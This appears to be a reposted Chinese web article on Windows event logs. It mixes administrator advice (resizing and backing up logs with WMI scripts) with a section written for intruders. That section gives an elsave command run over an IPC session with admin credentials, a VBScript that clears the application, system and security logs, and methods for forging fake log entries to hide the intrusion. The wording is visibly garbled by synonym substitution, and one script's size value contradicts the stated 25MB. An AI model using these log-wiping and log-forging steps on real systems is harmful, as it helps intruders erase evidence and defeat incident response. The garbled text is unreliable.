唐山网站建设

设为主页 加入收藏 繁體中文

windows日志的保护与捏造

核心提示:日志对系统安全的作用是不言而喻的,不论是网络治理员还是黑客都非常重视日志,1个有经验的治理员常常能够迅速通过日志了解到系统的安全性能。

日志对系统安全的作用是不言而喻的,不论是网络治理员还是黑客都非常重视日志,1个有经验的治理员常常能够迅速通过日志了解到系统的安全性能,而1个聪明的黑客常常会在进侵成功后迅速清除掉对自己不利的日志。下面我们就来讨论1下日志的安全和创建题目。

1、概述:Windows2000的系统日志文件有益用程序日志,安全日志、系统日志、DNS服务器日志等等,利用程序日志、安全日志、系统日志、DNS日志默许位置:%systemroot%\system32\config,默许文件大小512KB。

安全日志文件:%systemroot%\system32\config\SecEvent.EVT

系统日志文件:%systemroot%\system32\config\SysEvent.EVT

利用程序日志文件:%systemroot%\system32\config\AppEvent.EVT

这些LOG文件在注册表中的:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog

有的治理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。

2、作为网络治理员

1、日志的安全配置

默许的条件下,日志的大小为512KB大小,假设超出则会报错,并且不会再记录任何日志。所以重要任务是更改默许大小,具体方法:注册表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog对应的每个日志如系统,安全,利用程序等均有1个maxsize子键,修改即可。

下面给出1个来自微软站点的1个脚本,利用VMI来设定日志最大25MB,并答应日志自行覆盖14天前的日志:

该脚本利用的是WMI对象,WMI(WindowsManagementInstrumentation)技术是微软提供的Windows下的系统治理工具。通过该工具可以在本地或治理客户端系统中几近1切的信息。很多专业的网络治理工具都是基于WMI开发的。该工具在Win2000和WinNT下是标准工具,在Win9X下是扩大安装选项。所以以下的代码在2000以上都可运行成功。

以下为援用的内容:
  strComputer="."
  SetobjWMIService=GetObject("winmgmts:"_
  &"{impersonationLevel=impersonate,(Security)}!\\"&_
  strComputer&"\root\cimv2")'取得VMI对象
  SetcolLogFiles=objWMIService.ExecQuery_
  ("Select*fromWin32_NTEventLogFile")
  ForeachobjLogfileincolLogFiles
  strLogFileName=objLogfile.Name
  SetwmiSWbemObject=GetObject_
  ("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:"_
  &"Win32_NTEventlogFile.Name='"&strLogFileName&"'")
  wmiSWbemObject.MaxFileSize=2500000000
  wmiSWbemObject.OverwriteOutdated=14
  wmiSWbemObject.Put_
  Next

将上述脚本用记事本存盘为vbs为后缀的即可使用。

另外需要说明的是代码中的strComputer="."在windows脚本中的含义相当于localhost,假设要在远程主机上履行代码,只需要把"."改动为主机名,固然首先得具有对方主机的治理员权限并建立IPC连接.本文中的代码所出现的strComputer都可作如此改动。

2、日志的查询与备份

1个优秀的治理员是应当养成备份日志的习惯,假设有条件的话还应当把日志转存到备份机器上或直接转储到打印机上,笔者还有1篇文章《利用脚本编程格式化输出系统日志》,具体的讲述了利用windows脚本把日志转储并输出成html页已便于查询,有爱好的可以查看,在这里推荐微软的resourceKit工具箱中的dumpel.exe,他的常常使用方法:

dumpel-ffilename-s\\server-llog

-ffilename输出日志的位置和文件名

-s\\server输出远程计算机日志

-lloglog可选的为system,security,application,可能还有别的如DNS等

如要把目标服务器server上的系统日志转存为backupsystem.log可以用以下格式:

dumpel\\server-lsystem-fbackupsystem.log

再利用计划任务可以实现定期备份系统日志。

另外利用脚本编程的VMI对象也能够轻而易举的实现日志备份:

下面给出备份application日志的代码:

以下为援用的内容:
  backuplog.vbs
  strComputer="."
  SetobjWMIService=GetObject("winmgmts:"_
  &"{impersonationLevel=impersonate,(Backup)}!\\"&_
  strComputer&"\root\cimv2")'取得VMI对象
  SetcolLogFiles=objWMIService.ExecQuery_
  ("Select*fromWin32_NTEventLogFilewhereLogFileName='Application'")'获得日志对象中的利用程序日志
  ForEachobjLogfileincolLogFiles
  errBackupLog=objLogFile.BackupEventLog("f:\application.evt")'将日志备份为f:\application.evt
  IferrBackupLog<>0Then
  Wscript.Echo"TheApplicationeventlogcouldnotbebackedup."
  elseWscript.Echo"successbackuplog"
  EndIf
  Next

程序说明:假设备份成功将窗口提示:"successbackuplog"否则提示:"TheApplicationeventlogcouldnotbebackedup",此处备份的日志为application备份位置为f:\application.evt,可以自行修改,此处备份的格式为evt的原始格式,用记事本打开则为乱码,这1点他不如dumpel用得方便。

3、作为黑客

1、日志清除

1个进侵系统成功后的黑客第1件事便是清除日志,假设以图形界面远程控制对方机器或是从终端登陆进进,删除日志不是1件困难的事,由于日志固然也是作为1种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在m命令行下用netstopeventlog是不能停止的,所以有人以为在命令行下删除日志是很困难的,实际上不是这样,下面先容几种方法:

(1)借助第3方工具:如小榕的elsave.exe远程清除system,applicaton,security的软件,使用方法很简单,首先利用取得的治理员账号与对方建立ipc会话,netuse\\ippass/user:user

然后命令行下:elsave-s\\ip-lapplication-C,这样就删除安全日志。

实在利用这个软件还可以进行备份日志,只要加1个参数-ffilename便可以够了,在此不再详述。

(2)利用脚本编程中的VMI,也能够实现删除日志,首先取得object对象,然后利用其clearEventLog()方法删除日志。源代码:

以下为援用的内容:
  cleanevent.vbs
  strComputer="."
  SetobjWMIService=GetObject("winmgmts:"_
  &"{impersonationLevel=impersonate,(Backup)}!\\"&_
  strComputer&"\root\cimv2")
  dimmylogs(3)
  mylogs(1)="application"
  mylogs(2)="system"
  mylogs(3)="security"
  forEachlogsinmylogs
  SetcolLogFiles=objWMIService.ExecQuery_
  ("Select*fromWin32_NTEventLogFilewhereLogFileName='"&logs&"'")
  ForEachobjLogfileincolLogFiles
  objLogFile.ClearEventLog()
  Next
  next

在上面的代码中,建立1个数组,为application,security,system假设还有其他日志也能够加进数组。

然后用1个for循环,删除数组中的每1个元素,即各个日志。

2、创建日志

删除日志后,任何1个有头脑的治理员面对空空的日志,马上就会反应过来被进侵了,所以1个聪明的黑客的学会如何捏造日志:

(1)利用脚本编程中的eventlog方法是创造日志变得非常简单;下面看1个代码

以下为援用的内容:
  createlog.vbs
  setws=wscript.createobject("Wscript.shell")
  ws.logevent0,"writelogsuccess"'创建1个成功履行日志

这个代码很轻易浏览,首先取得wscript的1个shell对象,然后利用shell对象的logevent方法

logevent的用法:logeventeventtype,"description"[,remotesystem]

eventtype为日志类型,可使用的以下:0代表成功履行,1履行出错,2正告,4,信息,8成功审计16故障审计

所以上面代码中,把0改成1,2,4,8,16都可,引号下的为日志描写。

这类方法写的日志有1个缺点,只能写到利用程序日志,而且日至来源只能为wsh,即windowsscriptinghost,所以不能起太多的隐蔽作用。

(2)微软为了方便系统治理员和程序员,在xp下有个新的命令行工具,eventcreate.exe,利用它,创建日志更加简单。

eventcreate-sserver-llogname-uusername-ppassword-sosource-teventtype-idid-ddescription

含义:-s为远程主机创建日志:-u远程主机的用户名-p远程主机的用户密码

-l日志;可以创建system和application不能创建security日志

-so日志来源,可以是任何日志-t日志类型如information信息,error毛病,warning正告

-d日志描写,可以是任意语句-id自主日志为1⑴000之内

例如,我们要本地创建1个系统日志,日至来源为admin,日志类型是正告,描写为"thisisatest",事件ID为500

可以用以下参数

eventcreate-lsystem-soadministrator-twarning-d"thisisatest"-id500

这个工具不能创建安全日志。至于如何创建安全日志,希看大家能够找到1个好方法!

唐山网站建设www.fw8.net


TAG:系统,备份,代码,日志,脚本
评论加载中...
内容:
评论者: 验证码: